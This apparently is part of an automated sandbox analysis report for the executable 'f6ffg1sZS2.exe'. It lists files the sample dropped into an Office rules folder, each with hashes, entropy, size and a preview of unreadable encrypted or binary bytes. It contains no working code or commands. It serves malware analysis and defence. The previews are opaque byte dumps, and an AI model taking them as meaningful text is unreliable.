Preview:	<?xmlH.W....=..MP\@..J<....e`?......2&..Y.\+...U.k..?_...5?.%...x=.@..c.r....7y..B.@f...vE...2I.CQf.2..^tgD..M&is.....&^n1.......\|In-..7%H.r.\..h.9.1?....=.LP!t.....]#i.....8.d..=...m...rC{j........)SH.-..4fN.."...K.......#.....O.......P.~d2e.........J..::...EuoR..ez<;..$....=.....&.....b^ABG=G...\b.z.\v...@...1..).....o..'.!^.`.8F.L]yf....!...I.N.fI.M<.........`...o....iP".K1..@..D.X..F.....Y...r.k'..u'......z....).\|.h.c.^...6..W....?0.-..*..$}a..e.>...EU...}-[h.@..(.e.......t................B.:J .#'?...._Y.....x`...c.]...'Qm6.(..7......@.[.13....Zdj.(.3."..J. .J.w._.4.j......C.d...x..2......6KVp.86....8...../.....H.G6ec...q.F..I#.sH.=.Q..?...D....~.wZ...]?2..,......J)F.iF..(I..t:.H...[....$O...R</j..4...V`?`...(.N..%.....n......\|..O.@.X...B....O..W.R....'.....\|..o.5......./<$.f....el.r.<.`%4.;.f....M...M..6$%.ap.<..v.Q:c7....2.f3_..t...?f..B..5....m&....J.gSF.Q..T..R..V..3..:x...,.f!G.F.[........=.)M..-.a...r...[...;M...G.DZ..4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10879v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.729001284483733
Encrypted:	false
SSDEEP:	24:H0MDo80tN5jB05pMPc8cD+eY4USGmxSicqlydbD:HnDoltN5j25psUtpGm378dD
MD5:	7B7097707557C677D7DD29E34C70B96F
SHA1:	314A4B7286CF299779F9B3E396E2071F75FAB049
SHA-256:	3972CAAD45B860140C430DF8F55439F877652707B21E7BB0A41461264501E722
SHA-512:	78280A99309A04F24033414AED68BB6F20DDEAA21FFCEBD7A9B4FFD12DDA4FF6B9596A87FEF8242786E6A1819D21E62D82154778F44CC29F2B80DB8288A7FE51
Malicious:	false
Preview:	<?xml...j...n.T../+e.ry#-=3..Y..z..........nWE...Z...P".c!]tE...-Rz...PX..X.6x,...V}...d.8U..B\|..[\6....X..l..-pM.e.A!.0r.I..hLveo.....DP1U..S...]....7.p....%+....R......X.>...M0 .?.W.'.&3.z.{........5.%..E...6...~..-9.}NX.\|..I...X.Y...A:^..NY.A..x..D..A.[...%#.i1+0....#.C...\|...aR...}9.t......$.+..MCJPMF....f8.1^+\W8.'.<-$....H2.......B.]G\....I._AY.A{O./.p...3..JAj...e...e....Y.)(.-.(.`.p.....R.q.P.z...V.".\...8t..r.{.h...9..7.M#............@._....xZ.VVE`.=..H?......w..'.n..P.^..>.... y...#...n...W....6....l...^......}..h....%..rI.;,...X...j...y..a.3...."IK../.2cu.,....".6N..`.}3.6..F.{.....i{..Mc...F ....c.F7 Y)<R...#...jp<..1.-.....~Sz.u..@[...JG,.A.Nc.\.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10880v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.9266378545868434
Encrypted:	false
SSDEEP:	48:ULzopzw5+km31C0ILo542gUic2g1Uqv4CfTkrWRoN3wiGacV3rY/SiTAj6Rluz98:ULKnCpk22gngqvCfotN3FGVV30/SiTAm
MD5:	F4004BA93B83876D6F1B5F28CAFEA60D
SHA1:	8EB7F2BC47CA8341C7F1D7B341F142D6EA44678A
SHA-256:	83367F300BB5C7BBE40C1896C06C8AA03CF44E2E0671BE53E205156E9044CC6A
SHA-512:	EF0EA583FD4D1D25E716A3287947E3FE63B30FE13FDFE0C7A717428187EE1AFB3F40351B12CF53518AE8674AC7138436D36767C218FFB753DC1D8EF8C08FD0F0
Malicious:	false
Preview:	<?xml.F.B..jL.0..Z_..P.......g..........5:......~/K.{x.&..z[.6B....L......}[..>x.H..~..;m.........5.S.<.B/....06:.W..^.......`..PjF...(r....~..p .E.o.....\....g?f..c.kX...\|'5.....Y.=........X....q[....G..Q...$.............b..3.e..9.$.Yc0.{....^.K....v.^A;..N.Y8...e..H./m&.c..K..".!l.....;%yb9........Skl.n..W.TSv;....pd@`.mg.....p.a.N..U.+..A.....[n....l"....G).OQ.&..^.{.9iF...3}(...%..1.f.5m6....w.g.d..m.F .8..r...?..x.H0.^:\|..rph..g....d.8.g{6........7..r.5..v.f........OX=...[.L\l.M..\F&. ..>.V..h...........r9....9...=%x..b..gL4L!.8......D)...Aq~.[.i...........7..lY^...VPg..\Z..j[...2...(..y.iR>.....6m..%....9.X.+.x.@..N=%.3...EA.qY..j1.-B..p..=ML.......-V......,.Y..G,.&y.0..BKAMXb.?.p.0.K............7hH.S/....n'.$....... .M..?....So...}7..`c...4....g.D.<.i...Lt..a..S,,a./O1......W....>n.z6.&_.A..R.GK....%+U..D-.HR.b~u..:S....l.t".......\Q?T.9;....`I..Fu.c.lZUj.`.]a.o?..<.$.=s.)q..e.N.0k....[.\.r..P.nA&._.`c.I..;...%.w...h....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10881v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.699240844590775
Encrypted:	false
SSDEEP:	24:3pQEWbOfCw4PB58YeqqGkGMfWuQhPXuD3bD:3+EWbTbP5eZzx5QhP+DLD
MD5:	B3E6B6FE1098F620FD08DD7ADA04A166
SHA1:	1C22C1A3FA13F9A8932E35D8B9C7C89279C60F0E
SHA-256:	B6BD4D30366D6960F1424CF1EB1F284A9DD2FF9A286449DA5BAB0781438E0665
SHA-512:	22BE29440E7363051B2C558A9B2F1F59618957B25CE54B093B51B35AC2D57C981CCB33B728BF1BF7DF9614FC391C4C155B3CDC82CA5AB579E391F9F972136E2C
Malicious:	false
Preview:	<?xml..=..'.V;-..7.......F.V....xH.:..Uv[.....o:=.W.I......:.R.q.d.1C#..Y;.;vOV.....0>UB'..d.....,Z7=.........G.C.`....#j.o)s.D.~;.m.8o_...1d?.B..d:......f.(..o..o.bLq...........A....V....a.........(..B.2.#..!.kZ(.......Q..R.)0Z..m8.s..y..37H.2.g.w.P.v..r..:4.L..'5j..../..3e.b.IE?...K.a.....s.,..V.=..........0..............h........v......Q..Z[.v...[cd...v.p.I.L...L......y.+..../...U..b.....r..../...C..zCj.K,...4Q..g.Ue..S.%.k.........]..6t.{ZD.$.:.Q. .GX.}.6X.@+..q...^A..-.c.<....c.....1M\G.{.z...Ir.'/'..$.(.HMD...uJ.AL.O.O...48W.4<.W...A.......'[n ...@..A......Z.L.r.q.f.E..+..%.]r.I...S...$+.fh<V.[<3(..o.G...R.x.W../.<.@......GH&..7H~.K.$sb,{; 1K..!..w?..C.....ieJ...a..3... ...........=....W.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10882v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.930619297153698
Encrypted:	false
SSDEEP:	48:+sPHhod0DHEpaso2gD9ihwSDMUQlT6FUch2SLQfZRnC1CJ8Y2MUEo8wHn2Nz7em8:T3Dmo2o9fKMNk6I18VFvRL8
MD5:	A443ADA188222A2BF0932752F4216220
SHA1:	492EE981E42A0EC95CCC94B48D09914D3547FAF9
SHA-256:	73A567B54A18D80FFBEF82FCACBDD07278DF72D9618E5AD3AAEF0DA973022DCF
SHA-512:	64DEDBD1A10B1279C4995B69D17B601A7AFC9C46AD82E1E5421AE9CE2F624A055BDB229433DED96603689B07087E226A1861F87951932B23E2742715E98FB407
Malicious:	false
Preview:	<?xml.[$3.......DI.....tY...5Is....-............].....w..CIc.uMWV).A....l ....L..,....v....".B..7.%..K..}./...T.............&..V...ee....s....@....;.G^....]..=^.<...l..u;.b.u....c........w.B..}..A;............i..s..h....Lq..I.W./k=.5w.$8.K{bs19j$X..H..\B..9....@1C8....~k..0[......'....x.jx...K9..l_.nM.7.s..;..o0........I....2....hJ.}\|.,j..Sc.k.........A.........LHH....^..RS....V_..P\|.z9,.e#)....>..f..B'dGM.......m.^....p.(d.i.....f..d..2......&..:...[$.."[F...8.7...P....2N=..<..^..e.q.BC........,.....1....k._..=.:a`...c....x...,.p`.{....O.<..}...S.J.1M.m.s...v=h..>K..5...[n<K..z.....l.7..w.u4!...6X.....&./..EQ.^...Gb..C.s.F5..RP.....[;iV9$;"..[Q=.....\|i..x.%..`..LB/>q.F/2....O..cyF....b.}\|WO58......hK..>.+0..G-......,4..c........F.z#..j..0.Q..~W;Q,}..k$U./....$..-.L.T....W...P..].....P..D]P.7....Ce...(#!./N.).S.... ...Q...-;aD.DC.Z..._.O..2........j.........v..hm...&.V.Q%...3..._.+.s=rL.`.w.c...7..kB...Ty...TB.\o1.'M.N<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10902v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1021
Entropy (8bit):	7.796836895974365
Encrypted:	false
SSDEEP:	24:jMZqTqDgD5hHKyf2qeIkbmjLm4Ztuk0mc9OAhv3JFEaSr9phwV4usbD:jMZAqDgD51lbjZEk+fhvJFIpg45D
MD5:	9A22E164689F6E94423C67068E20FD0C
SHA1:	C29A4F0B7BFE52A25569B9702632D2D5C4B83B4C
SHA-256:	DDA81C5A58B6702074D4C0E26F8A4303F91A60AFBF0B90FF1BFCBFF012E8E179
SHA-512:	D00DB9AA4C4B056B14CF7C5B13D9DF9391B1438B848D45927A3210E5C77CFC8EE19A17953ADA4F45F74836CDB1D6A5230CF9239AD1327E2EF14BCD514C4BD10B
Malicious:	false
Preview:	<?xml2.C0..Q.Yx...A.....:.....;.\|..}'...Zf....D.......Z\|d..yxJ.....r...@. ]AZ....0.J%#.;..h.....,..S..dpk..=..].EMz..m.b..W...q.qbk\|...~.m.....(IK...#.K..Bp..l(^7J.~.;.&..,......4.\|4....p....s...>x.?.3....q}.>Y...-e.r.%.3..O.....%...2...t7.-...i..i8.._a7...e9ze..?.E...O>..........5..V..>.....7.....b.... ../..._T.~/.....\..>M.)..n....t...`..e1=7.Y.k.^7.6...{4..S.\s.....o.s?.....$.a..../...H7..y..y..:........i...9......{.......). c~..T;.x..?...+.Q[...S..D...y....&RI...~Yax.v.)...Pc......I.:E...Uj.0..R.:.yn>.v...\|9...X.p.2E2.'.`.^.1."`I..1i...w..%.y}.Q.........C:.. ...a....e.Ql.]g{~OF}....9_/.>...u.L \|u:WT4.......]....r{.~.W...\|B.M..T.".n..I...xZ...Q.!...F..M..H..BI.=.......\...WW...J.}...i.wE,.Z.....)...(M,.&5.z..Z=W..8...........r..=.-._...Oq.]....!..........?.k.....2......7........0p F..X...I..5.2....#.Lt...j.H...3.X.OZs Q...K("..$...z-)M02.?K.'(0]P..N..&...B.O..i...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10906v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1398
Entropy (8bit):	7.880493462687086
Encrypted:	false
SSDEEP:	24:ccCAUV8w2i04skUK1rLQ4+d/TrbugzpINavj0d6KvcByEJFKJ6w8pLbD:qmw2ipskUKpRa/Tr6wpINa70dBU3F1w+
MD5:	D7F3042D47C6DF3759B6ED9EAB6A48CE
SHA1:	9FDA1560FAD284DED0504701276A64C87A9B1A4A
SHA-256:	F28480C30637A6B87CCD9551266B1B52848E4A841C017964A74821B73F4DB890
SHA-512:	01371E1F8CF60F736CD09C2E4BA360F785F57AE8DD6F1C076CEB5063275463097635BA756CF61C4A7E232E3E4E63B1E2B24D3E1C810C66E2C9E068ED4CA1155F
Malicious:	false
Preview:	<?xmlh...L!...N..cp\.....`ju.w.......z..4.EP.....w...'..1.j...61...T..)3...~......V...[.d`>.I..u.....e...jn.......E....\..].).......&,YEd.Y..Xy.o....8AqL.\...G.&N.N...L.......N..:n.....V..y`...b.T5...$.[_.......0....~...4 ..5../..H.....c...A....X..%.[....h.,.2.og.fK_`.ym....,.a.......j...h$..2..2oi'v.g...............V.:...cg.B..gX+_..8.X}9E]..9._.J...=].n]..T.c..;.p.._...7....$...X......g _b....sF...p...d^.Y..0..w............>."trM.A.h.&.......H1<}...........U...).../..\|.....#....y.;.l../.+..8...\.A.`.Yu-..3..Z....-.C.&...N.....?....7.\|.n....&...@P..A.&...;./.a.=...x.!..../..{......S_..\|......Mo./.... .^b4.......\.D..'..Um%..x....t...s.Q.y.....?........f..z.D.DQ..j...i[..H...f..$6.1%....e3....?'Q.:...rU\f=.p....i..Gv.V.<t...-....h1.Da.....h...r.<.22......D..."-...Z~.(.V..B..0......o.......&cX5o..wK..6...n..8.S...;\(&....$q..\.S...i0,f_.I.+Q..j..$..:.d..b..."2.}..\.`...!....... ........K..c[W.L.."*H..-..&.v....C..j.[.....r.$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10907v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.783097127819524
Encrypted:	false
SSDEEP:	24:FjcFFUa7mRAb1vM3wdkSEigh3s1Hm7zwJbD:FwfKR+rU81YgD
MD5:	6D0B415526209E960B40F6B11D7AD0CD
SHA1:	53F50488BAC026F175D3BE3D6ADB4E58E744D9BB
SHA-256:	556E507827DF6339C66C28F29E3D53404AA2276F086A8AC01E9C22CF4189F52E
SHA-512:	FE45FAD362732FC61452186EE35E2C367C73AD6308EFDDAFB5B8FE534F92633A86B49BDEC5D55A1D83A85876BC2CACFAE9995D170A259726FE4763753BA91B39
Malicious:	false
Preview:	<?xmlX..'.dTx.h..xT....<3z.9r...w........r....Y.H..k..;.O...a.~.8.T.......`.......IHNF.............&..{v-..u.V.s.[...y...g...\...(...OT..f...)......U+..58.Z............+.8..Q..7..c....c..^&...K.j...^....Q.\|8).k./@Qr.HiZ%.F...%.......I.w..u..-<z...P..s...amVq.a...7.m...W..(~.b.\.W.)..U$......0.~.m\^.2..:.+6.jQ...KAW.58.......<..\v..#....YH.lG...cS%...B>..m.a.5...v..%\|...x....b.......0....@.OK}..d%.1...Z...x.....\.(%P.%.k.A.?....n.F..._.,....P...........4.....,...d....F....... .....[M.+..H..sh.^..;.Q.5...5.l.....2M.r..p.k.F`.J..x.O.f...i.1u.o..A....:..}DqG%.f.v.0...5..^..8.-.p2E...aWp+..n.x.....:..5...x..p..,.5.&0..}.lpQ... F..!CrZ^.B..d....-y...'.8......f.....A.D.J..* >....b LI....../....l.b.79a..f.*.v.."..wv..1$'....Xk"..y..#.o.....m.#,..\| .............t.w. e:\....d...@.Zr..d.g$p..Z.1.g....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10924v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.733880176003961
Encrypted:	false
SSDEEP:	24:LRoY+TvUX5LHPfB7bMPx47XLm9gAnT00b1LK3Xe8bD:uTTw9PflOSbvAnTn1uHXD
MD5:	A82FD35CE26E7E8A22190D59D5DBE52C
SHA1:	ACB6DE8B2C2953882145E6AC28CA9A587E409FEF
SHA-256:	D01E21AECFDB83DFB054E76955D21F55FF0934C295CC9FCF03FBB6458A1FF01D
SHA-512:	AB7E4CD10E8ABE322CF356D8679F4A7DDB29FAC61EBF1AAE6BAD1FC0859C0E5C716207FBD732CC5422837ECA0FCD395A18D5DEE1EE1234288DEE720661CE922B
Malicious:	false
Preview:	<?xmlI....D....YM&...\....:p3...z#`.i_).......W............... ..'...Q....~. ....<..v.b..mV.;......I..7p.&8V..Z34c.8..... ....7..>A......................^....Ca.'~....5.N....z..\...5T`G+V3.x..fsi3....{...9V..z.n.'......!...0@...'...!d$'G..'..e....k...,.A.;9..$'g.@3.M_v..yJ...t.XPd^.[ .f._......I.Z...Es9..?....rZ05.}8.OH........4....N...5.8.)P.......Z'.;$h.1.J}.......>Mc..8..3.........<.._..t.Hs...~w...Ry..m......b.3.tE.i.S0.0R..#.O....Si!......8..o...!P3..W.....J.F....D......f..B......,.NFJ.........&yD.0.[.i,K.9loR......I.L...3}.hD...,8..{.+....1.W.j.Ko.........0..e.'.140{.V...7]...N....!....l...ML..qX...!7^...Ep.n........-..sM.......v]..K-H"<d`\|....]....Z8.......:E0.n..J..y.....v6w.>.N........q.$-........./..'n.}J]-P.~<."q,..../.....j.+......LTM.9V<.Z\..r.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10925v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.779896548498662
Encrypted:	false
SSDEEP:	24:/7VOggfDsSbsU/0+Ex5/9l9dvruMch/p4vwybD:YggfDZsU/0nxXxvrYBPgD
MD5:	509B7A867F2B42AEAF8DFC0E3ADA4E1D
SHA1:	0A546EF0773848EC4D67A736614499D423F01982
SHA-256:	69FC8A3A3BE51072DA9DA9A326AF6BC3C7CE9B4D5F3BF7C032E10A2D88F13027
SHA-512:	E700319B7EF35AEEA9728CFABD51AE29EE8F04093FE2E584046DCE7BB4B9CCD5A799C2B937FBA41EF125CD135DD61D3CEA75BF3ED9EB10F22A6D504EC7856E4D
Malicious:	false
Preview:	<?xml..ei.U..!22..,i8iH.R..{Z6.0S...#j....X:s...R.q...]...........}.!.#...........k...R.i.m......U]..d..W.DCgC.4(..=. ..s~M.....j........G/8..j...W..C. L/......\..`..%S...#.Tu.8uw..........U...vu.=X.'....~.....L.av,.....S..+.fb.....p.....m=..Q."y.B.._......Y1.........+...\.G/..o.."~...UU...D.....k.^8....!R...#v,.f..$a....:..z.SR.....X.%.M..+.l8.p.,..D~c.'.....[.......T.Ey.....c..l.s.>..6.R..b..M.g.%.X.....X...%B.h...6.R&_\....>.....2......L....I.<.x..2e ..1m..Z....l...[\|,._<.d.@.y....b....\|...84...%..V.L[........}..%.....CdS^;-z..O.......`,/q...b.1../J.h+..d#.\|....-/x+...Q..dy...X9...OG.Z.b.&..+...x....F.y^.z@..;R....E...n..8W..lhoV...'.F...f`.h8..e`c..[....2-a..Wv.1.a..2j.7..8.dv......T"..b.."..@......Bv.._,...S..-..,1......._^.gI@...<e.....v.6.7.....J:.wM`..5..."B.u..]4.\.B.oI.L.^...sj.}W.{..a+`..m..<:...........dc..Fl...4...t<.....YI....p.hD\|0B...-t(.p-gF...S.D...ja....e.'.Q..".k..V2z....".!G..^...(...LQbDo3EfIVHxGuJOWRJdmxgY66rD6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10940v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.77312455636048
Encrypted:	false
SSDEEP:	24:rPY0vdtsI0fil27sYPw2zXYH/Mgbegj6Z+fibD:rZsIX27RPfYfMgaG6ZAwD
MD5:	007966780D9043A79F71681EFAC38DE6
SHA1:	A9F043B45AAB56E275E30EF8B83730095AC94F89
SHA-256:	1206E9765714BE5624DDF4BD0E43AE23431C93C2C0C6640F3CE92AEBE77F1190
SHA-512:	9C1BD972FA02265333C20E9BBAA44A62FA03902CAE97A3435BFEE12AC057EF7331E145D463C134F4412DEFAD383CD87F038EFDF26AF71B31D806ED3FEBECA323
Malicious:	false
Preview:	<?xml[...{.........e...'....o..-U.t./zw..c?...m..c..S.G..t...e.-Ux....u...>......xx....n..v.!dk=C.p......M@A.sX......d..)^..4.v..[8.mme."...V-.Es...&..5....3.{.4..9....oG..:~=.2...,..`4r ..5..d...GJ.L.RB...r..~.....z.'.&.._.{...uc:.R...y-...^x.^..".......4].B/A.....^..D...aD...T(......1..U..$.h.Nu.G.......@.K..:.T.e..v.2.LR.....i..D......Z.....A.I.......e.z.%.fo_........9W.....e.?..)s.pu.O<..H...$z......,@...s}....\|..w.,....._......\..%_...<......-I......@AXO..."..I..s1.[..7r.....J.. ..W...}..7../.;....[......oM..s....o\.).5.(..........\.).J.....e.c.1..........E%.....#..L' )X......%l...Y.+.[.J.sk>3......;..<#....4Gv:./..S.]F.R^U.c...s.9...j[s./.y3.....k<...f..G.:.{....E.....w..5.c..d.....v.^5.J...=....NE....n........@..."&..D......?l..G....0.../.1`E....WLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10952v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.979571395141292
Encrypted:	false
SSDEEP:	192:3x9AziVs+dy+OP415e8ZyRfnBUQV0220gzQUq0GWuqO3TmD7:h9Aziu9+OPu5eFfBUQV0n0gzQVHVqh
MD5:	1ED77281CC27AD040C9A7650919A1438
SHA1:	E9F23BB003C73FB487F3704AF931D828731264F4
SHA-256:	1993A8DBB05AEB3C407FD1D18BCA3E90117FDDB25B3EE7A52467EA6A7B10B049
SHA-512:	0E158C12A714FD22868BF99692B73105A5A6C2B557C4D04107AAAE5BDDD1987E52A1CDF42CC117CBA74C2E37012E9E6C3B0A20F5A7402AFD9766AC2DF988AEA3
Malicious:	false
Preview:	<?xmld.QJJ#.j(.E...F.!c..t.Wf\|..sa0.\..2..N..Q....;..b\gp.K(....'..a....1}OC.@x..1N.T.].P..j-.....3T.....l...H-B}..=..%.o8.Q..si..[..\m..y..H.2.[B.]....w.+..4>.7t.++....=.M.....5..0K..Y.}.3.u..z<.x.[p\.s3....B.+@..q.si..4.......(.b......k......../hI..n$_~...V.....Y..{.7./...gb...u..6...\.[.=.40..(....%....Y...G.A..;B...I...RG..$.....1.uT.D..n...v....[.p..{.\,.L+.B.{.W..H.+4SO..V.VN. ...#.....l...F(o..<.....Y3.....^...;...F...l6Z.s`....3..i._.$>....N4.8...K2..[..a&.,.............#`IRL....(kL.h...xB..l.d3;.+(...p.m<]J..O...........X.....oG.<.`...r~.R.n.F.:...j.^.gU..H..m......;..&.).....].hn.).........kYI....}h..z..i ..]..X.....3..$..{.X....U.R-.v..{..k.Tf...dzl.fbQ.M(.c.9bOb.gH..O:`......).y.8(...B.D>0S...1.Y...K..S...o.e.o.qY..A.Ve.F..9 :............. j-.{A..66.Z.y...=.Xy.B.1.....a.j....._....;.\"....a.L.X.#C\|..aC.d!}S...j.Ri..\..V........4q....F..&...V..]...'i.......X9nn......<.39c....m...Xf..s.^9.}.o1.'..T..T....'....}S ...o...}..J....9-..)$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule10955v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.869790493487731
Encrypted:	false
SSDEEP:	24:6jHT3z31ld8qWighJ8Xv504zHChC70meAEuXV1bgfUubrID6tQoUdwpdbD:67T3FTjXR04zEq0fA9MfED6EMD
MD5:	FE1A4E89BE9FC78FEE284AC99C7C5C65
SHA1:	35EE156DDDB702BFFF9F911EB7D09DD9BD4C2B6F
SHA-256:	BC94B0F4A14306CD54269D47DD4C56A2DD8F74D4087C34ABB6AD93207F71E893
SHA-512:	A366ADA5B76EB3FEC2B92B7D98467E660E5FB703D72F58C0152ABCA97520CE75E7616D84FE34A23ED3FA7FEB445B290A1F4F8057E40C88378B7579E512336CBC
Malicious:	false
Preview:	<?xmlr..q.....yd..X&..'......y[]..Sp9_^O...U.#.&...<.w:#Q.".DH...j...l...%...s.V..T..7.p......l>..S.f..g.....uG..n......J.y.fx..?..p.]..f...#..WInT.h.L;i.O.p..7.&."...f...%.+$....W.e..[^.4..T......Z....L7{.......'.p....Y...\m.oS?.T:Y...H.v....u`.Ia\|..V/...33.E..~.2 ..6Nbnc..R.._#re..@..v.0.N..).9x..Vo....6..ES....:..%....T...5...\.I.P.5l<k.."Y]._.&.........^%nb.....\`...G".9.....p.....H......HP .]....0...0Q....M...Jg....).."..f\|.z...\..Q.{..t.Y.... A/.<\..$...f...,q..I.oRE...9LZ.9.)....C}s.h/.z.>...&U..k...a$h...FK_?.P\.$.....i..ec.6(....D.......b....v..IEG.....o5C...$fb...+.O..9....,...,.>...B..z...=]^.1....+.%........YPb..T..#.......(......wP.Z...z.$......:.!..e...1....u........y.....!..w!..&!.t.......XJ..s^..2.3u.'TaS...o....p....f..M&.^.l....N...W..<V.......D...........p...#O...<E.jR.7....b`.5&...h.Z...[..."..Rfsr.9.]w.@....=...5..8.m._.^}*S....xgZ.9..a.sQ.9.r..9m.....Or.meY....._X^.m.y.W...b....U.G9...D..4....`...i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.816300887535938
Encrypted:	false
SSDEEP:	24:GhcF9uD7nRgYD01yIBtjpCoOJWD9ix4iINJRjbFBjObD:GhcFMD7nuYDMZFOJhINJRj3jsD
MD5:	941B1FB109FC285E717D2CB2E09B9E97
SHA1:	A7DDB41E8FDDF87109BAC9D8FD649319705B0854
SHA-256:	5968DF23183AA68F8B259E233A0C687415020C60B1351E8A931D783BB545927F
SHA-512:	DC69E5C211B08FA0633F0B470920248884D207798966969D74103F3FC8831ACC05209756EB7A487438C86FF38709D6305DBC93A0DE9C9048A7A5F5ABEBA22905
Malicious:	false
Preview:	<?xml.%"..l..h]..'..hB....e_..y.$.H.e._....J.....gR.i<.;D....L..G..6-g1..G....Q.I-.QF...G.....l..........0f4d(........4...{...o.qE:.2..0..Y5.3K3.......b.Al....Y.......B.[....g.HY;?/..>("..U....m]..k7}...0.e.\|..`....0sK6=....4{^W...u(R;..D..M.Ojw.r..^.z.9.g.......b}.ch.P^..e...w......ajy.p.8%..z.$k..k.g.=w.......)..~'%R..IS.\.$Z.j..0Q....,W.Ew.8.d....-F..Q.?...wHu.....Wl./.8A..9..K6...&.u..\._I`..;......,.y...}}.tm.9..)...k...Xj.@.?....J......].#.C..z..dt...b..m...~..o.. nYC....>.c2....D:.R....b..B..N.]<(l.\|v.`.X4Z..w\|H_W....K&c&.............B....}.) .p.A...9..=...o....KuB..{z.6<.2....Z...I....L.j..!."~ e..n<..:v.X...;...$.Y. .....].r\.J.....gj...J...!...@.&Uya.tZ.R...L.>.v.9.....Y..!.r.......k.m...\.....I...;r...........J8.m..L.?A.7...?.i.'8.P...i.....2......]^..$...\|.6}....q.8..p\..\|.V...MR.n.....@...0.\...-...+..=.#..!....uEk..'..5..=. G.3.5....d.5..Wr.$h..Z..I..x..f$.#z......E..].Z....h.e...x.'. .C.;.*C...AR..5.K.T..(z.C....R1..`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.819779120533995
Encrypted:	false
SSDEEP:	24:DunF26fkF91Bh7PaaacbFYIfcG/89NvJvwWSbD:8XsF9t7CdkFfRgXIJD
MD5:	0985CED3935431003076F3BC60892498
SHA1:	43F19D465A7B1A3E7206484DD72AA67448350152
SHA-256:	E022DF116044797FC0C08E08A2DE8BBF56520F167001DBB37405596CC91A7B4C
SHA-512:	42F566A79BE9F542C4FFBE44B499C525B223BE37EF538C6CDF97A798304A96DE909EBFAB4579C347AB0F13A4B63EA026C4BAE30719C801120D6D261D959B3A3F
Malicious:	false
Preview:	<?xml.e..y.x. ..H0Id......8.%..9.a..R .I....cY...Tjz.....,....,....2............v..LY..e..g/{.U.R....a.... ...{"..(.!...A.+..714W.Y.........kb.\|...v....F.d.+..../u0$..%?...^y.....y..An..BU.R>.j........U.n....#.2SD.#'5...].@..{.B.EW..-0.:..j.<].O.\..c...e!M...g.\|B..\|.z........-.[/...yd..t.A.E.0...!...6F.}..E.hA..<..4....a.3.{y\|^h6.1...2k..nIDz.....>...f.'..5R..eZ..K....++"..)...._....Q.@7.-..G..L.R%..kQ......._.....n...h.U.k.P....r6..H}...-.-..$.5^Q.f....vt...k.....l...]....G.4...#...[0....MP.~.L..<a..A...IxW7T...[..S.a'K.._Pi?zE......^.4..V...QQ9j.....$d.+...A....-e..'....O.o...w..wj$%Mg..c&0Ij. ..7...X...^;.L.........V=...........&...#.#.\V4K0N.D....'...I;....Z..W7..q.A......B.&u.T....R..o\.u8=sO.........H.k..W"..z..u.....'.q[.....i(hJx..J./TC..#(W....<.$..#.. 